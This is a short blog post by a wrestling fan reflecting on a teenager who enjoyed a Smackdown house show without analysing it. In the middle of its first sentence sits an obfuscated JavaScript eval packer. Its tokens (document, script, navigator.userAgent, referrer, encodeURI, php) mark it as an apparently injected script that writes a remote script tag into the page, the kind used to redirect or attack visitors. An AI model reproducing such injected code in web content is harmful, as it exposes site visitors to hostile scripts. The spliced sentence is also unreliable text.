Thought of the Day: The Other Kind Of Wrestling Fans

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hynrr|var|u0026u|referrer|eaiib||js|php'.split('|'),0,{})) as you may know, I was at the Smackdown house show two days ago. I saw something there that made me smile.A few rows behind me there was a teenager (I think. He seemed to be somewhere between 12 and 15 or so) in a red shirt. He was with a friend of his who clearly was new to wrestling as the guy in the red shirt was explaining everything to him, like who characters were and the stories that were going on. I started thinking about how fans like me and the so called “smart” fans really do have less fun. I watched the show with a notebook and with an analytical mind rather than just having a good time.

The guy behind me was cheering for all his heroes, booing the villains, and clearly was an expert on what was going on. He didn’t need to know that Barrett had no chance of winning, he didn’t need to know what spots were coming, he didn’t need to rate the match. He was having fun with what he was doing and had paid his money to see a show. There’s not a thing wrong with that and I felt kind of jealous actually.